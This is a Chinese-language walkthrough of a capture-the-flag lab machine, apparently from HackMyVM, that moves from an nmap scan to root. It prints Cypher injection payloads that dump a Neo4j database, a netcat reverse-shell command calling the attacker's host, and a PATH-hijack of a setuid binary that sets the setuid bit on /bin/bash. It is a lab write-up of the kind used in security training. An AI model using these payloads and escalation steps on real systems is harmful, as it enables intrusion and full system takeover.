端口扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(kali㉿kali)-[~/HMV/mayuri]
└─$ sudo nmap -p- 192.168.0.103
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-12 13:07 CST
Nmap scan report for 192.168.0.103
Host is up (0.00058s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
8080/tcp open http-proxy
MAC Address: 4A:94:24:32:EC:CF (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 1.38 seconds

web渗透

开了80端口和8080端口,先访问一下80端口:

image1

说是要输入查询编号查询什么东西,看到“查询”两个字就想到可能会有注入,那就先来个引号试一下:

image2

果然报错了,但是报错的内容有点奇怪,有些问号,把这玩意扔给GPT问一下。

GPT说这看起来像是 Neo4j Cypher 查询语句,正常的形式可能是这样的:

1
'MATCH (n:shop) WHERE n.sid = ' + sid + ' RETURN n;'

这个报错看上去sid是直接拼接在查询语句中的,sid我们可控,因此可能存在注入。

先看看8080端口是什么:

image5

8080端口是个登录页面,那可能就是要从80端口注入拿到账号密码,然后从8080端口进行登录。

回到80端口,学习一下cypher的基本语法,并且发现cypher的注释符号是 // ,那就可以用 “1 return n;//” 和 “1’ return n;//” 来试试是否存在注入:

image3

image4

可以看到,1 return n;// 可以正常返回查询sid为1的数据,说明存在数值类的注入。

根据这篇文章(https://blog.csdn.net/Che_ng/article/details/145965471)学习了一下cypher的语法,构造出了如下的payload:

1
1 return 1 as n union call db.labels() yield label as n return n;//

这个payload可以查询存在的所有标签,查看结果:

image6

发现有 User ,那就 union 继续拼接查询User的内容,payload如下:

1
1 return n union match(n:User) return n;//

image7

看到 usernameOkabe , passwordOOOkkkaaabbbeee ,拿去8080端口登录:

image8

进去之后有个终端,尝试 ls :

image9

是个可以执行命令的终端,那就进行反弹shell:

1
busybox nc 192.168.0.104 1234 -e /bin/bash

获取立足点

1
2
3
4
5
6
┌──(kali㉿kali)-[~/HMV/mayuri]
└─$ nc -nvlp 1234
Listening on 0.0.0.0 1234
Connection received on 192.168.0.102 48486
python3 -c "import pty;pty.spawn('/bin/bash')"
www-data@Mayuri:/var/www/website-b$

在home里面,有个kyoma用户:

1
2
3
4
5
6
ww-data@Mayuri:/var/www/website-b$ cd /home
cd /home
www-data@Mayuri:/home$ ls
ls
kyoma
www-data@Mayuri:/home$

能够进入kyoma的家目录,不能执行 ls ,但是可以看user flag:

1
2
3
4
5
6
7
8
9
www-data@Mayuri:/home$ cd kyoma
cd kyoma
www-data@Mayuri:/home/kyoma$ ls
ls
ls: cannot open directory '.': Permission denied
www-data@Mayuri:/home/kyoma$ cat user.txt
cat user.txt
flag{1.055821%}
www-data@Mayuri:/home/kyoma$

提权

在机器里面寻找一些信息,在环境变量里面发现了一个密码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
www-data@Mayuri:/home/kyoma$ env
env
Pass=1.129848
PWD=/home/kyoma
APACHE_LOG_DIR=/var/log/apache2
LANG=C
INVOCATION_ID=0e54d57f5e424abfa9aecdf373228dd1
APACHE_PID_FILE=/var/run/apache2/apache2.pid
APACHE_RUN_GROUP=www-data
APACHE_LOCK_DIR=/var/lock/apache2
SHLVL=2
LC_CTYPE=C.UTF-8
APACHE_RUN_DIR=/var/run/apache2
JOURNAL_STREAM=9:13641
APACHE_RUN_USER=www-data
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
_=/usr/bin/env
OLDPWD=/home
www-data@Mayuri:/home/kyoma$

猜测是kyoma的密码,登录:

1
2
3
4
5
6
7
8
www-data@Mayuri:/home/kyoma$ su kyoma
su kyoma
Password: 1.129848

kyoma@Mayuri:~$ whoami
whoami
kyoma
kyoma@Mayuri:~$

在kyoma的家目录里面有一些文件:

1
2
3
4
kyoma@Mayuri:~$ ls
ls
a.out Mail TimeMachine user.txt
kyoma@Mayuri:~$

有个Mail,查看内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
From: Okabe Rintarou <phoenix.h@futuregadgetlab.net>
To: Okabe Rintarou <o.rintarou@futuregadgetlab.net>
Subject: A Message to My Past Self
Date: Mon, 15 Jul 2036 14:30:00 +0900
Message-ID: <f74c7678f9e61287e0719e59d9a10369@d-rine.sern.net>
X-Mailer: D-RINE (Amadeus Custom Build) v2.10
X-Received-At: 2011-08-21 18:45:00 JST

“看着吧,过去的我。”
“世界是可以被欺骗的。”
“将所有的可能性连接起来。”
“欺骗世界,欺骗所有的时间轴观测者。”
“这才是‘掌管未来的女神行动’。”
“在那前方,有你的…”
“你不是一个人。”
“凤凰院凶真欺骗了世界。你也能做到。”
“首先,你先需要通过时间机器拿到权限。”
“El. Psy. Kongroo.”

他说 “你先需要通过时间机器拿到权限” ,我们现在是kyoba,那要拿的权限就应该是root权限了。

说的时间机器应该就是家目录里的 TimeMachine,该文件信息如下:

1
2
3
4
5
6
7
kyoma@Mayuri:~$ file TimeMachine
file TimeMachine
TimeMachine: setuid ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=e7dd04e54e42aa78b9d552e1822b91d8c29f7004, for GNU/Linux 3.2.0, not stripped
kyoma@Mayuri:~$ ls -liah TimeMachine
ls -liah TimeMachine
527418 -rwsr-xr-x 1 root root 17K Aug 6 07:35 TimeMachine
kyoma@Mayuri:~$

是ELF文件,有suid权限,而且我们有读和执行权限,把文件拿出来,放到IDA里面查看:

image10

其中的 execute_chronos_query 函数内容如下:

image11

看到它用 system 函数执行了 dest 这个字符串变量,dest 里面又是包含 timedatectl | grep 'Local time' | awk -F': ' ' 这个命令,其中的 timedatectl 没有使用绝对路径,且程序里面没有初始化 PATH 环境变量,因此我们可以尝试进行命令劫持。

在家目录下创建一个 timedatectl 文件,里面包含我们想要的提权命令:

1
2
3
4
5
6
7
8
kyoma@Mayuri:~$ echo 'chmod +s /bin/bash' >timedatectl
echo 'chmod +s /bin/bash' >timedatectl
kyoma@Mayuri:~$ chmod +x timedatectl
chmod +x timedatectl
kyoma@Mayuri:~$ ls
ls
a.out Mail timedatectl TimeMachine user.txt
kyoma@Mayuri:~$

修改 PATH :

1
2
3
4
5
6
kyoma@Mayuri:~$ export PATH=/home/kyoma:$PATH
export PATH=/home/kyoma:$PATH
kyoma@Mayuri:~$ echo $PATH
echo $PATH
/home/kyoma:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
kyoma@Mayuri:~$

这时候如果运行TimeMachine,它使用的 timedatectl 命令应该就是我们放在家目录的那一个:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
kyoma@Mayuri:~$ ./TimeMachine
./TimeMachine
==================================================
= 世界线观测仪 v3.14 - AMADEUS 系统 =
= 版权所有 2011, 未来道具研究所 =
==================================================

[系统] 初始化... 正在访问时序子系统。
[自检] 验证命运石之眼校准... 正常。
[自检] SERN 网络接口... 已激活。监视中...

[警告] 时间跳跃机使用前需要充能。
电话微波炉(暂定)充能中 [###################################] 100% (距离充能完毕: 0ms)

[成功] 充能完毕。系统准备就绪。

[成功] 正在向 IBN 5100 传输时序查询...
--------------------------------------------------
--------------------------------------------------

操作完成。这一切都是命运石之门的选择。
El. Psy. Kongroo.
kyoma@Mayuri:~$

查看 /bin/bash 的权限:

1
2
3
4
kyoma@Mayuri:~$ ls -liah /bin/bash
ls -liah /bin/bash
263242 -rwsr-sr-x 1 root root 1.2M Apr 18 2019 /bin/bash
kyoma@Mayuri:~$

可以看到已经有了s权限,用 /bin/bash -p 提权:

1
2
3
4
5
6
kyoma@Mayuri:~$ /bin/bash -p
/bin/bash -p
bash-5.0# whoami
whoami
root
bash-5.0#

root flag:

1
2
3
4
bash-5.0# cat /root/root.txt
cat /root/root.txt
flag{1.123581%}
bash-5.0#